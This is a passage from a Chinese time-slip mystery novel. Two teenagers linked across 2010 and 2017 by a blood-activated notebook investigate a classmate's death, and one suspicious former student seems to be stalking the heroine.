郑俊文正站在人群的最外,跟以前一样,他没什么朋友,只有班长愿意在他落单的时候跟他说话。
黎彦尧大步走过去,“怎么了?”
“曈曈?”
黎遇回过伸,片刻后瞪了他一眼,“你知不知道,妈妈说了,我是高三学生,就是家里的稀有动物,稀有动物的时间是很宝贵的,你竟然让我等你这么久……”
“我错了。”他立马抬手道:“吃不吃冰激凌?”
“花你的钱吗?”
“当然了,前面有家哈根达斯。”
“那我吃。”
回答完毕,黎遇又不由得转头向身后看去。
“看谁呢?”
“那个人是谁?”
黎遇头转回来,才问。
“哪个?”
“你别盯着他们看。”黎遇拽住哥哥的胳膊,“就是那个深绿色条纹上衣,浅色牛仔裤,头发有点儿长,遮住眼睛的那个。”
“你说郑俊文?”黎彦尧回答:“他怎么了?”
“他叫郑俊文啊。”
黎遇低声道。
晚自习结束后,她已经五次遇到郑俊文了。
两次是步行,三次是在公车上。步行那两次,他都不远不近地距离自己大约十米以上,每次在黎遇跑进观澜院再回头望时,他都不见了踪影。而在公交车上,他们都坐得很近,黎遇从来没有一次与他对视过,可只要她转头望向窗外,玻璃窗的倒映都清楚地显示郑俊文正在坐在身后的某个位置目不转睛地某一个点。
一个毫无意义的点。
黎遇有一次晚上终于忍不住回头看他。
可他恰好低着头,她只能看到他的发顶,他的头发不仅长,且很厚,完全看不到发缝,这让黎遇觉得他带着假发。当时公车启动,黎遇晃了晃,就在把头转回来的一瞬间,她恍惚间好像看见了郑俊文抬起头,似乎露出了一个笑容。
黎遇甚至不确定那到底是不是一个笑容。
但她今天站在路边等哥哥的时候,她确定郑俊文冲自己笑了。
那种看不见眼睛,只有肌肉因为唇角提起而鼓出来的笑容只会来自于极其少数人,以至于前五次黎遇其实根本没有看清楚晚自习后的那人究竟长什么样子,也立刻意识到他一定和眼前的是同一个人。
她的鼓膜震动,顿时心中骇然。
手脚有些泛冷,可是郑俊文只看了自己一眼,就低下头继续听旁边的男生说话。
但,笑容没有在他的脸上消失。
黎遇迅速从自己的记忆里搜寻郑俊文这个名字。
近一个月,她看过太多遍七年前的毕业合照,第二排那个小个子男生与周湜与完全不同,站在过目难忘的对立面。
应学校要求,他始终留着比板寸稍长一些的头发,站在角落,盯着镜头沉默着。
那不是一种怯生生的沉默。第一面不显眼,如果特意回想,那是一种维持缄默的长久注视。
黎彦尧把巧克力榛果脆口味递给他,又问了一遍,“郑俊文怎么了?”
黎遇抬起头。
如果不是周湜与和苏芸的事情,她只会把郑俊文当做一个有些怪异的学生,但因为有了命案,她的想法很难不胡乱发散。
犹豫了一下,还是
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说:“这几天下了自习课,我好像看见过他。”
“哦……”黎彦尧把勺子咬在嘴里,拿了两张纸巾,被新品的广告吸引了注意力,含糊道:“刚才吃饭的时候听说他从北京回来后在一家国企上班,位置恰好就在二中附近。”
“是嘛。”黎遇把冰激凌戳了几个洞,故作不经意又问:“可是我下自习课都很晚了,他那么晚才下班吗?”
“他那工作据说挺忙的,加班是常态。”黎彦尧看着妹妹,拍拍她的肩膀,很快故意吓唬道:“大多数工作都需要加班,你以后长大就知道了。”
“切。”
黎遇甩开他的手,往哈根达斯店外走。
被哥哥这么一插科打诨,她心里的惊疑散了许多。
*
二零一零年。三月最后一天。周三。
天气预报上说,进入四月,锦城会迎来一场倒春寒,气温在四月的第一个周将会接近零度。周湜与准备放学后回趟家把之前放回去的外套拿回来。
这一次,他直接坐公车回家。
最后一排坐着三个女孩儿,她们也是二中的,跟他在同一站上车,其中一个女孩儿他见过,名叫汪雅曼,是苏芸的朋友——不得已地,周湜与现在的确对苏芸很了解,这让他的确认为自己像一个变态。
她们细弱的交谈声随着汽车发动机的声音或清楚或模糊地传进他的耳朵里。
“你别难过了,回家好好睡一觉,把这件事情忘了吧。”
“对,反正你再也不去了。”
“可是……我怕我不去妈妈会骂我。”
“那你告诉她实话。”
“我不敢……”
“别怕,还是快忘了。”
周湜与闭上眼睛,听到那个女孩儿的哭泣声终于一点点消失。
她们转头谈论起别的。
“汪雅曼,听说你妈妈要接你去加拿大了?”
“嗯,高二读完。”
“那不剩几个月了。”
“我不想去,据说那地方很冷,我英语又不好……”
到站了,周湜与站起身,下了车。
他走进小区,上楼时,正巧遇到住在楼下的奶奶。
她老花眼了,仔仔细细打量了一番,才道:“哎呦,是周老师的儿子吧。”
“奶奶好。”
“都长这么大了,从小就是帅小伙,好久没见了,这要是在大街上,我可不敢认!”
他笑笑,奶奶记性不好,去年年底见他时也这么说。
“你爸也在呢。”
“是么?”
他有些惊讶,他一直认为周因昌和他回家的频率一样低。
“是啊,上课的声音,我都听到了。”
“哦。”
周湜与侧身上了楼。
他的父亲,周因昌校长,连续五年省级优秀教师,从十年前到现在,一直都在免费给学生们课外补习数学,即使不是自己班的学生,他也愿意花费自己所有的精力为他们教学。
就是这样一个人,在他妈生他的时候还在讲台上上课,仅仅照顾了妻子三天就返回讲台,以至于妻子产后郁郁寡欢,身体出了问题他都一无所知。
直到自杀,他才意识到自己除了人民教师,还有另一个身份。
周湜与推开门。周因昌的声音从书房里传来。
他俯身换了拖鞋,走过去,里面郑俊文正对着一摞厚厚的试卷奋笔疾书。
16. 旧日同学
第十六章旧日同学
四月三日,清明节前一天,法定节假日。不过二中的高三学生不放假。
那天是黎遇做值日。
她是最后一个走的,把笔袋放进书包里,前门有人敲门。
“你好,同学,检查卫生。”
那男生带着眼镜,个子不高不矮,清瘦,看着文质彬彬。
是朱锐。
又一次见到,黎遇才想起来高中这三年的确见过他不少次,在考上北大的学长回来演讲时,体育课上两个班提足球赛上,元旦晚会上……
“哦,你进来吧。”黎遇冲他笑笑,见他伸出手摸了摸黑板,不由问,“主任不是说高三不用检查卫生了吗?”
“下周教育局领导要来学校参观,要注意班级卫生。”他回头露出一个柔和的笑容,拍掉手上的粉笔灰,“班主任没有通知你们吗?”
“大概是我没有注意听。”
黎遇背上书包,“不过我们班一直挺干净的。”
“嗯,确实不错。”他走下台阶,捡起滚到地上的一根笔,放在手边的桌上,又抬起头,“你们已经开始刷往年的浙江高考真题了?”
“老师说有能力的学生可以多做做。”黎遇回答,“三班呢?”
“还没有开始,不过我已经私下刷过一轮数学试卷了。”
自上次余珂提起后,她想起去年他在省级奥林匹克数学竞赛中获奖,有高校愿意与他签约降分录取协议,但他以只想去北京为由拒绝了。
稍许,他又说:“原来你知道我是三班的吗?”
黎遇大大方方地点点头,“百天誓师大会上,你是学生代表嘛。”
她见朱锐绕着班里转了一圈,“你检查完了?”
“查完了。”
“那我关灯了。”
他们各自从前后门走出教室,黎遇要往楼梯间走时,朱锐突然开口:“对了——”
“——明天虽然放假,但是高三各科老师会开答疑课,你来吗?”
“我不来,我恰好有事。”
*
清明节,黎遇和周湜与相约好见面。就在他的墓地。锦城就这么大,他们不想遇见熟人,便去城市边缘。
黎遇提前到达。她先去楠山墓地,与上一次不同。今天周湜与的目前站着一个穿黑色长裙的女人。
她隔着很远观察了一会儿那人。对方扎着低马尾,戴着的墨镜遮住大半张脸,穿着漆色皮质高跟鞋,看不清楚脸,但应该是个很美的人。
女人始终低头不语,也没有注意到身旁正在有人走近,直到两人只剩下大约三四米的距离时,她终于被脚步声惊醒,抬起头,与黎遇对视须臾,往反方向就要转身离开。
“汪……汪雅曼?”
女人陡然顿住脚步,回身。即使墨镜挡着,但黎遇也能强烈感受到,那人在用力盯着自己。
“真的是你啊。”
“你是谁?”
她问。
“我是黎彦尧的妹妹。”
黎遇一字一顿介绍自己。
从汪雅曼的表情来看,七年过去,她还记得黎彦尧是谁。
她不仅来看望周湜与,也没忘记他当年最好的朋友。
“你们黎家人可真有情有义,连妹妹都来看他。”
她低声道,说完很快重新转身,离开。
“你不也是吗?”
黎遇小跑两步,追了上去。
“我只是顺路。”她目视前方。
“顺路?在楠山?”
“那又怎么了?”
黎遇深呼一口气,“当年出事后,你接受过采访,一开始还说周湜与不会做出那样的事情,可是很快就改口说跟苏芸不熟悉,为什么?”
“我们只做了两年同学,能有多熟悉?更何况我跟周湜与连同学都不是。”
“现在呢?当时你只是孩子,七年过去,你的答案还是依旧不变吗?”
“不变。高二结束,我就去加拿大了,很多事情早都忘了。”
汪雅曼看着她,冷冷抛下这句话。
*
黎遇慢腾腾地走到“好运”咖啡店时,周湜与已经到了。
见她心不在焉,他在她面前打了个响指,“哎,想什么呢?”
黎遇抬起头。
他看到她的目光,收起笑容,“怎么了?”
“我在想,待会儿该怎么打败你。”
“那你可得好好想想了。”周湜与替她打开玻璃门,懒洋洋地道。
两人进去,黎遇坐下,他去点单。
还是上次那个女服务员,从两人刚一出现,她的视线就在周湜与的脸上转悠,走到桌前上咖啡时,看到黎遇,愣了愣,忽然露出一个恍然大悟的表情来。
她对着黎遇眨眨眼睛,竖起大拇指。罢了看见周湜与微微皱起眉,又凑过去跟黎遇小声道:“厉害呀,还真被你追到了?”
孔乙己说茴香豆的茴有四种写法,听上去,这个“追”字也有两重含义。
服务员含着笑走了。不过她说得再小声,周湜与离得那么近也听到了,他喝了一口咖啡,才问:“追什么?”
黎遇哼了一声,“上次来这里的时候,你前脚刚走,我后脚就进来,有两个认正讨论你呢,还拍到了你的侧脸,我认出你了,问服务员你去哪里了,人家可能以为我看上你,现在终于把你给追到手了。”
她脸不红心不跳,说完还不满意地补充了一句,“为什么不能是你追我呢?”
周湜与好像是被咖啡给烫到了,过了半晌才找回自己的语气,清了清嗓子,大言不惭道:“大概是觉得能长成我这样,应该犯不着需要追谁吧?”
她翻了个白眼,呸了一声。
黎遇从书包里翻出自己的化学课本,要他给自己答疑,两个脑袋凑在一起,咖啡还没有见底,练习册已经翻过了一页又一页。讲完题,周湜与给她找了一道难度不低的综合题,黎与埋头解题时,他从兜里掏出自己的古董手机玩了起来。
板砖一样的厚度,能滑动,横着拿,像个小游戏机一样。
他头都没抬,脑门上跟二郎神一样长了个眼睛,慢吞吞道:“看我干什么?题做完了?”
“切。”黎遇小声嘟囔,“看你拿的那3G手机连我奶奶都嫌弃老土。”
周湜与眯起眼睛,花了十秒钟结束手里的游戏,方才悠悠道:“突然想起来,前天你哥提起你了。”
“说我什么?”
“他说——”他在手心中把手机转了一个圈,屏幕右上角有一点点小小的划痕,他学着黎彦尧的语气,“‘我妹妹晚上捧着我刚买的诺基亚玩贪吃蛇,不肯吃晚饭,被妈妈教训了,哭了一个小时’。”
“黎彦尧真讨厌。”<
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黎遇不由道。
她低头继续作业,后厨有人掀开门帘。
一个三十出头的年轻男人走出来,在桌边和蔼询问:“你们冷不冷,要不要调高空调温度?”
黎遇摇摇头。
那男人唇角留着两撮小胡子,视线转到周湜与手里的古董手机时,目光没有露出她以为会出现的诧异。
反而是欣喜。
服务员从门外走进来,道了一声“店主好”。
“诺基亚NXX?”
“嗯。”
“2009年出的那款?”
他笑了,“您记性还挺好。”
店主道:“我一直对电子产品挺有研究,不过也不全是,我们这咖啡店离墓地近,前几年有个中年男人常来看他儿子,每次看完,就来我们这里坐半个小时。”
黎遇抬起头,瞥见周湜与肉眼可见地微微一滞,然后慢慢收起自己的笑容。
她短暂地一怔,片刻后就抓住了这句话的关键。
“那人也可怜,老婆死了,儿子刚成年也死了——至于他儿子为什么埋在这片墓地,他也没有详说。我就记得他总来,尤其是六七年前,几乎月月都来一次。”
黎遇和周湜与对视一眼。
只听他又道:“看着挺可怜的,一年比一年瞧着老了不少。对了,他拿着一个跟你一模一样的手机,那是他儿子的手机,儿子死后,他就拿来自己用了——估计也是舍不得儿子,所以后来触摸屏手机都上市好多年了,他还用这个诺基亚。”
“您有他的照片吗?”
“那没有——”店主回身拿过咖啡壶为他们重新添满杯子,“不过啊,大概两年多前,他又来了一次,看上去这么多年过去,他在试着从失去儿子的悲痛中走出来,他感谢我这些年常请他喝咖啡,知道我在各种收藏的电子古董,就把儿子的旧手机送给了我。”
“然后呢?”黎遇问。
“后来我就再也没有见过他。”店长指着周湜与手里的手机,“但他儿子的手机和你的一模一样。”
周湜与握紧了拳头,黎遇看见有什么光影在他的双眸中轻轻波动。
“那手机呢?”
“小王,去把我的东西拿来。”
服务员从后面抱来一个黑色的保险箱。
店主用指纹开了锁。
从第二层拿出一个黑色手机。
确实和周湜与的手里是同一款式。
他们各自伸手,将两只手机并排靠在一起。
店主的那只稍微旧些,按键和背后的电池壳都有了不同程度的褪色,但是——
“奇怪了。看,你们看,这个屏幕的划痕,向右弯曲,尾巴又突然向下拐。一模一样,看到了吗?”
回答他的只有黎遇屏住的呼吸和周湜与逐渐褪去血色的脸。
在黎遇都还没有与七年前的自己相遇时,周湜与和他的手机率先遇到了彼此。
黎遇看着他,深呼吸一口。才勉强笑着说:“没错,确实看着有点儿像。”
店主把保险箱抱回去,周湜与松开拳头,黎遇见他沉浸在自己的思绪里,游离许久后才陡然回神。
他低声道:“走吧,我感觉时间快到了,别让他们看见。”
他们离开好运咖啡店。像上次一样,周湜与认真与她告别,让她到家后告诉他,然后消失在转角。
17. 发卡
第十七章发卡
班长把教室后面黑板上的数字擦掉。
写上「二零一零年4月8日」
距离高考还剩下60天。
刚下英语课,黎延尧从他的座位前飞奔到周湜与旁边,正巧看见他的单词听写成绩,瞪大眼睛,拿起来从头到尾地观摩,“你竟然全对?”
周湜与轻松靠在椅子上,“这有什么难的?”
他面上笑着,脑子却转,如果黎彦尧知道他每日的背单词计划全是在他亲妹妹的督促下完成的,不知道会什么反应。
黎彦尧不可置信,一页纸翻来翻去。
他推开对方的胳膊,把单页试卷小心夹在英语课本里,正要放进书包里,黎彦尧忽然又问:“这是什么?”
周湜与的英语书中夹了一摞卷子,这倒没什么稀奇,稀奇的是卷子左上角的架子,不是文具类的小铁夹或是曲别针。
显而易见,那一个来自姑娘的发夹。
粉红色的,上面印着几颗小星星。
“你恋爱了?”
这一次,黎彦尧的表情分明如遭雷劈。
在他看来,他这朋友只是长着一张蛊人的皮囊,那张嘴只要一开口,能把姑娘气死。
“没有。”周湜与一口否认,但一把拦住黎彦尧想要拿起发卡把玩的手,“你那手干不干净啊?”
“你还真有女朋友了?”黎彦尧给了他一拳,“这都不告诉我,太不够兄弟了。”
“——她是谁啊?”
“再说一遍啊,没谈恋爱。”
周湜与警告道。
他跟没听见似的,“我认识不?”
周湜与没吭声,掀起眼皮,“你找我就是来看我成绩的?”
“不是……”
黎彦尧挠了挠头,才记起自己是来干什么的。他拖了个凳子,神神秘秘道:“你没发现吗?昨天和今天郑俊文都没来。”
周湜与抬起眼睛,往第一排的座位上瞭一眼,笑道:“我看你以后的职业方向往居委会发展得了。”
黎彦尧没有在意他的冷嘲热讽。
继续道:“你没发现这两天咱们这个楼层的女卫生间也不让进了吗?”
这次周湜与坐起身。
从上到下把好友打量了一番。
“啧,你别这么看我,我又不是变态。”
“我看你现在就挺像。”
“变态的是郑俊文。”
“他怎么了?”
“前天晚上自习课下,一个女生刚上完厕所往外走,结果就见第一个隔间门口站着一个人,还是个男的。”
“是郑俊文。”
“当时人都基本陆陆续续走光了,卫生间灯又暗,猛然看见一个男的在女厕所,那姑娘吓坏了,嗷一嗓子,正好保安在楼下巡逻听见,跑上来堵住了郑俊文。”
“然后呢?”
“然后教导主任和班主任都赶来了。对了,你爸也来了。”黎彦尧拍拍他的肩膀,“郑俊文当然不承认啊,但是被抓了现行,也否认不了,就说自己上了一天课有点儿昏头了,走错了门,幸好也没什么实际伤害,这事儿就这么结束了。”
“那女卫生间为什么要锁上?”
“据说要加个电灯。”黎彦尧稍后又道:“不过就算是这样,我姑姑说郑俊文下个月的奖学金肯定是泡汤了。”
“你姑姑?”
“我姑姑和教导主任是闺蜜。”
“郑俊文家里条件不好,听说奖学金是他的全部生活费了,如果有剩余还要寄回家。”
周湜与想起了他的那款相机。
索尼P200五年前出的新品,当时价格在三千左右,就算他买的是二手……看那数码相机的成色,折价不会太低,估计也要一千块。
他不想探究别人的隐私,但他忍不住想,郑俊文的相机是怎么来的?
“哎。”黎彦尧手掌在他的眼前晃了晃,“想什么呢?”
“那女孩儿家长没追究么?”周湜与回过神,又问。
“她也是住宿生,本来离家长就远。何况谁想在高考前弄出这么多乱七八糟的事情?”
“那你也少议论。”
“嘿,八卦你都听完了,才说这个!”
黎彦尧在他身后愤愤不平道。
*
次日是周五。
周湜与又回了一趟家。
和上次一样,依旧坐着公交车。不过今天正好巧遇小学生放学,几个八九岁的孩子上车,他们手指上被辣条染得油乎乎,挤在后车门前,讨论起老师布置的作文。
父爱如山。
周湜与把手放进校服兜里,那里装着他的手机。
他一直坚信且从未怀疑周因昌并不爱他,从他出现起,他的父亲就没有期待过他的诞生。所以他一直认为当他以那种方式死亡后,周因昌必然会将自己彻底视为他生命中的耻辱,从此绝口不提。
但周湜与没有想到,他来看过自己,并且很多次。
上楼时,他一时间竟心情复杂。
家里有人,刚才在楼下时,他看见灯亮着,只是周湜与没有想到,推开门第一个看见的居然是郑俊文。
大概补课刚结束,他正收拾书包,周湜与垂眸看他时,他刚巧把那款相机装进相机套中放进书包的最里层,小心翼翼地保护着。
周因昌把书房的门关上,走出来,看见儿子,又是一愣。
郑俊文背上书包,低声道:“周校长再见。”
“嗯,周末把那套试卷做了,周一拿来我的办公室。”
“好。”他回头。
周湜与见郑俊文熟门熟路地换下拖鞋,放在鞋柜里,关门离开,不由轻笑一声。
“笑什么?”
他耸耸肩,“我比较像外人,你俩像亲父子。”
周因昌从不跟儿子开玩笑。
只问道:“你今天不住校?”
犹豫了一下,周湜与点点头。他抬起眼睛,等待着父亲的反应。
可对方只是平淡问:“跟宿管请假了吗?”
“忘了。”
“没有规矩!”他斥责,“你是我的儿子,就更该遵守纪律。”
周湜与罕见没有顶嘴,靠在书房门口,看见桌上厚厚的一摞教案,其中一个翻开着,他低头扫了一眼,周因昌却为此疾言厉色,“没有人教你不要随便翻别人的东西吗!”
他见父亲是实打实得脸色铁青,顿觉自己方才的种种犹疑不过都是幻想,周因昌依旧厌恶自己这个儿子。
他也冷笑道:“没有,毕竟我从小妈死了,爸也不管我。”
在周因昌要怒喝前,他又抬眼问:“您天天都给郑俊文补课?”
“当然不是,补课的学生很多,不过是俊文最好学,次次留下来问题。他数学好,是个好苗子。比你强很多。”
周湜与顾若惘闻,只是继续道:“补课还要用上照相机?”
周因昌转身,“什么照相机?”
“他总拿着一个相机,您不知道吗?”
周因昌皱起眉头,“什么乱七八糟的,你管好自己的事情就行了。”
*
二零一七年四月八日。周六,高三学生依旧上课。下午两节课后,学校给这些临近高考的孩子安排了一场心理讲座。
黎遇走进礼堂的时候朱锐正在门口给每个学生分发传单。
她主动向他打招呼,朱锐抱着厚厚的传单,分
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出右手,艰难地抬起。
“能帮我一起发吗?”
他露出一个笑容。
“好啊。”
黎遇接过了一半宣传手册,朱锐松了一口气,抬了抬掉在鼻梁上的眼镜架,“太谢谢你了,你帮我大忙了。”
“不客气。”
黎遇并肩站在朱锐的左手边,两人的胳膊肘总会碰到,朱锐便换了右手将传单送出去。待人群渐渐稀疏,他低头看着宣传单上的字。
「为心赋能,助力高考。」
他抬起头,问她:“你紧张吗?”
“什么?”
“我的意思是,马上高考了,你紧张吗?”
黎遇笑了笑,“还好吧。”
她说完瞥见他有些僵直的肩膀,“你看上去挺紧张的。”
“嗯。”他点点头,“我不允许自己考砸,我的父母也不会允许的。”
“你成绩好,不会的。”
“在上高中以前,我都是艺术生,我妈希望我可以做一个舞蹈家,因为她受了伤,当年的舞蹈职业被迫中断,所以希望加注在我的身上,可我对那件事情毫无兴趣。中考前,我反抗,离家出走,绝食,割腕,什么都做过,他们终于同意我做一个普通学生,按照高考途径上大学,但是很快,他们又生了我妹妹,我知道他们会继续让我妹妹学跳舞,然后走向他们期待的道路,而我如果没有在他们的要求下考上排名前十的大学,他们就会彻底失望,放弃我这个儿子。”
他一口气说完,扭头,“我给你说这些,你不会觉得有负担吧?”
黎遇的确有些诧异,但她善良地摇摇头。
“你想考到哪里呢?”
“我想去南方,最好是广州,离这里越远越好。”
“你呢?”
黎遇摇摇头。
朱锐沉默望向她,过了一会才露出笑容,“讲座开始了,我们进去吧。”
*
晚上回家,黎遇在饭桌上宣布,“我下周开始不上晚自习了,晚上回来吃饭。”
章锦夫妻俩很高兴,“妈妈早都说了,就在家里学习,晚上安安静静的没人打扰你,你回来想吃什么妈妈都给你做。”
黎遇立刻咬着筷子笑嘻嘻地提要求,“妈妈,那下周一我想吃酸菜鱼和蛋挞。”
“好,后天下班让你爸去买新鲜的鱼,妈妈给你做。”
黎彦尧开口,“妈,那我下周一也回家吃饭。”
“你都二十五岁的人,怎么读个博士总忘家里跑,你不是说学校食堂挺好吃的吗?”黎劭丰皱眉,顿了顿,又问:“上次你不是说带女朋友回来吗?什么时候见见?”
“她今天刚考完雅思,下周有空。”黎彦尧嘱咐,“说好了,别问东问西,一步一步来,就是随便吃个饭。”
“我们心里有数。对了,人家女孩来家里,你把你那卧室收拾一下,狗窝似的。”
黎彦尧哀叹着埋头把碗里的米饭扒干净,迅速抢走盘子里的最后一块排骨,才转头对妹妹道:“你怎么想通了?不是之前说什么都要在学校晚自习吗?”
黎遇抬头望向哥哥,没说话。
半晌才含糊回答,“天天吃食堂,老师都说我瘦了。”
晚饭后,她回房间里学习,刚拿出课本,门口传来敲门声。
黎彦尧推门走进来,拿着一个小玻璃碗,“给,爸爸给你削的苹果。”
他放在她的桌上,又拖来一个凳子,在台灯的柔和灯光下,哥哥跟她长着一模一样的双眼,“说吧,到底为什么不上晚自习了?”
黎遇抿了一下唇,转身对着哥哥,道:“哥,你还记得上次我跟你说过晚自习后,我遇到过几次你之前的那个同学郑俊文吗?”
18. 一些照片
第十八章一些照片
“记得。”黎彦尧抬起头,“怎么了?”
“我以为遇到他很多次了。”黎遇低声道:“不对,不是,是几乎天天都能遇到。”
黎彦尧皱起眉头。
“其实,我有点儿害怕。”黎遇深呼一口气。在郑俊文上个月消失一周后,他又忽然重新出现。她觉得他是知道自己是黎彦尧的妹妹,可他从不主动打招呼,更不会像那个晚上一样冲她笑。她让自己忽略他那些死寂的注视,本以为可以相安无事,但是,就在昨天晚上,当黎遇再一次选择不坐公车,走路回家时,他做出了相同的选择。
依旧是不远不近。
像条黑色的影子,不说话,也甩不掉。
他分明甚至对没有与她有过对视,但黎遇依旧莫名出了一身冷汗。
黎遇想过了,她再胆大,也是个高中没毕业的学生,她一个人的力量不足够对付一个未知的凶手,更不会犯傻为了救人让自己陷入危险而令家人担心。
而黎彦尧这一次沉默良久。
上一次妹妹提起时,他没有太放在心上。妹妹从小是个大大咧咧的孩子,但也足够机敏勇敢,能让她第二次提起的人一定是有原因的。
高中生活距离他过去七年了,像是郑俊文这样默默无闻的人他本就毫无印象,现在也只剩下他是个阴沉沉的人的浅薄记忆。
他摸了摸妹妹的头,“手机拿好,以后一放学就回家,跟同学一起走,听到没有。郑俊文的事情哥哥来解决。”
“哥,你怎么解决?”黎遇有些不解,“他其实也没有做什么,我只是想问问,他是个什么样的人?”
“你别管了。学习吧。”
接下来的一个周,黎遇没再去上晚自习。周六的晚上,她去七年前找周湜与。
他们缩在市图书馆的角落,黎遇把书包放在腿上,“有件事情我一直忘了告诉你。”
“什么?”
“上次警察说,苏芸好像也有一个日记本,牛皮样子。但是死后就丢了,没人见过。”
他颔首,“你觉得是被人偷了?”
“也不一定,或许这压根不是线索。”
这两天,黎遇有些丧气,一个多月过去了,她觉得他们只是握住了一团线头,这些都不是线索,都不足够把两人引到凶手那头。
周湜与总能捕捉到她情绪的起伏,低声道:“没关系,我们也不是一无所获。”
黎遇抬起头。
他笑笑,说:“至少我认识了你。”
她怔了一下,随后也终于展颜一笑,“没错,我们都多了一个朋友。”
周湜与低下头,按下自动笔,稍许后才说:“比赛么?”
两人面对面一起做了套数学卷子,直到到最后一道大题的时候,她被迫回到了二零一七。
回去时,她翻开本子,看见他在上面已经留下了一句话。
「早点儿休息。」
*
周湜与自己却翻来覆去地睡不着。
发生了苏芸的事情后,身边每一个微小的异常都会引起他的警惕。关于郑俊文进错女卫生间,这件事已经在他脑中转了好几天。
真的只是走错了吗?
真的是意外吗?
周湜与翻身,向床外看,教学楼外有救护车的声音略过,舍友的鼾声停了一下,偏了偏脑袋,又重新在安静的宿舍里响起。
苏芸死了。
但黎遇还活着,和郑俊文一起活在七年后。
周湜与望着天花板,那里有一块墙皮凸出来。
一个念头逐渐在他的脑中形成。
周一晚上,他等到晚上八点半。换上一身黑衣,把墙角挂钩上次黎遇给他的鸭舌帽戴上,走出宿舍门。往校门口走时,遇到刚从教学楼出来的郑俊文。
他在前面走。周湜与跟在他身后五米之外。
郑俊文的校服旧了,型号看上去也买大了,松松垮垮地堆在脚后跟。
他步子不快不慢,路过保安亭时,回头往里瞧了一眼,也许是玻璃反光,他猛然回头,盯着周湜与。
大约有两三秒,他的头都别扭地转过来。
而周湜与本在看先别处,此时与他对视。在校园里遇到自己的同学并不让人惊讶,但郑俊文似乎能感觉到对方的审视与探究。周湜与不得不主动点了点头,见郑俊文垂着眼睛很快把头转过去往前走,心里想,这是一个很有防备心的人。
这是一个高三的学生,不常具备的素质。
他跟郑俊文朝相反方向走。绕进一条废弃的窄巷子,他掏出蓝皮本,用小刀划破自己的指尖,两滴血滴在页面上。
周湜与消失在夜色中。
*
顺着艾蓝路往北走。
周湜与看到了郑俊文工作的大楼。这是锦城颇大的一家建筑集团,晚上接近九点,灯大多都是亮着的,保安还站在门口,打了两个喷嚏,往地上吐了一口痰,见一个年轻人在马路对面张望,多看了几眼。
街边摆着一排黄色自行车,黎遇上次告诉他说这叫共享单车,最近几年爆发式增长的新产物。周湜与跨坐在其中一台上,一边状似闲来无事低头玩贪吃蛇,一边瞥眼留意着对面的动静。
大约两三分钟,他看到了成年后的郑俊文。
也许是刚见过十八岁的他本人,周湜与觉得他变化很大。头发过于长了,是未经特别打理的长,人本就不高,驼背也似乎更厉害,已经转暖的天气里,他穿得依旧很多。
在站在成年边界线的周湜与来看,他不知道一个二十五岁的成年男性该是什么样子的,但显然不是马路对面郑俊文这样的。
他的公司位于141两站公交车之间。二中那站名叫「艾蓝路」,前一站名叫「文士满园」周湜与的余光中看见他往艾蓝路那站走,他抬脚快步往文士满园走,在郑俊文上车的前一站,赶上同一辆公车。
周湜与盯着公车前的电子表。
他剩下的时间不多,幸好这个点路上车也少,上下乘客不多,郑俊文很快到站。
他照旧与他隔着一条街。
郑俊文低着头往前走,偶尔侧身躲过迎面而来的自行车。双手揣兜,目不斜视。
郑俊文的防备心在下降。
这是周湜与的第一个想法。
尽管他们距离更远,自己也更加警惕。但他依旧能感觉到,与七年前的比较之下,郑俊文的步伐是略放松的。
他的指尖抵着小刀的尖头。
周湜与跟着郑俊文来到他的住处。小区名叫解放桥小区。与他料想的差不多,郑俊文租了一间普通的旧居民楼,墙皮褪色,看不
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出原本的颜色,与这城市的大多数十年前政府盖的经济性适用房的样子差不多,就像他本人一样,扔在喧闹的城市里,很多分不出与别人的区别。
周湜与走进他对面的那栋居民楼,站在二楼的楼道里,等了一会儿,看见对面二楼靠左边的那户客厅亮起了灯。
他记下房间号,下一秒,眼前一黑,他回到了七年前。
*
二零一七年,四月十二日。
周三放学回家,还没进家门,黎遇在楼道里便问道了一阵香气。
她一边开门,一边兴奋,“妈妈,今天晚上吃什——”
沙发上背对她坐着一个年轻的女生,头发乌黑,长度刚过锁骨,听到关门声,她回头,神色温婉,气质平和。
“妈妈,家里来客人了?”
黎彦尧端着果盘从厨房走出来,“她是关蕾,叫姐姐。”
“哦——”黎遇张大嘴,很快笑眯眯地也坐在沙发上,“姐姐好,我是黎彦尧的妹妹,黎遇,遇见的遇,小名叫曈曈。”
“曈曈你好。平时你哥哥常提起你,说他妹妹漂亮又聪明,果然如此。”
黎遇从小被夸到大,既不害羞,也不谦虚,眉眼弯弯,“姐姐你也是。”
晚饭。
四人围坐在方桌边。关蕾比黎彦尧小一岁,现在同在学校读研,她来自隔壁城市,谈吐落落大方,从章锦和黎劭丰的神色来看,他们同样很满意。
对方毕竟是女孩子,晚上没有多留她待太久,快九点的时候,关蕾与黎家告别,黎彦尧跟她一起回学校。黎遇出门送二人。
路上,关蕾主动开启话题。
“我追你哥的时候,就听说他成长在一个很幸福的家庭中,今天一见,他们说的真没错……”
“姐姐,竟然是你追我哥?”
“当然了。”关蕾笑道:“你很惊讶。”
“不是……”黎遇抬眼看了一走在前面的黎彦尧,“哥哥提起你的时候总说你是个文静害羞的女生之类的,所以我就下意识以为……”
关蕾眨眨眼,小声道:“这是一个典型的非充足前提错误。虽然我的确话不多,可我早早摸透了你哥哥的性格,所以让他也喜欢上我并不上一个困难的事情。”
“非充足前提错误?”
黎遇重复道。
“没错,即使前提为真,但是前提与结论缺乏必然的逻辑联系,人们总是容易以偏概全,用目前已知的信息直接武断得出结论。”
“好啦,我们的公车快来了,你快回去吧。”
黎彦尧回头,打断他们的对话。
黎遇点点头,冲关蕾摆手。
独自回家的路上,她一直在思考方才与关蕾的对话。
“人们总是以偏概全……”
小区中心有片人工湖。
几个八九岁的男孩站在湖边向里面投石子。
“噗通。”
一声,又一声。
“噗通!”
猛地,黎遇抬起头,她飞奔跑回家,拿出蓝皮本,拔掉水性笔盖,急迫在上面写下一串字。
「如果,高考第二天那个午后,苏芸去男生宿舍并不是为了给你表白的呢?」
大约一分钟后,那边回答:
「你的意思是,她不是来找我的?」
19. 来电显示
第十九章来电显示
那么苏芸是去找谁的呢?
黎遇问自己,但她回答不出这个问题。
「如果不是我,你会主动去跟苏芸接触吗?」
「绝对不会」
「那么你觉得在你和苏芸压根不认识的情况下,她会进入你的宿舍向你表白吗?」
「应该也不会」
「那就是了。原本的你和苏芸连话都没说过,你根本不知道学校里还有这个人,以她的性格,怎么会主动递情书给你呢?」
周湜与在那头沉默。
黎遇说的没错。
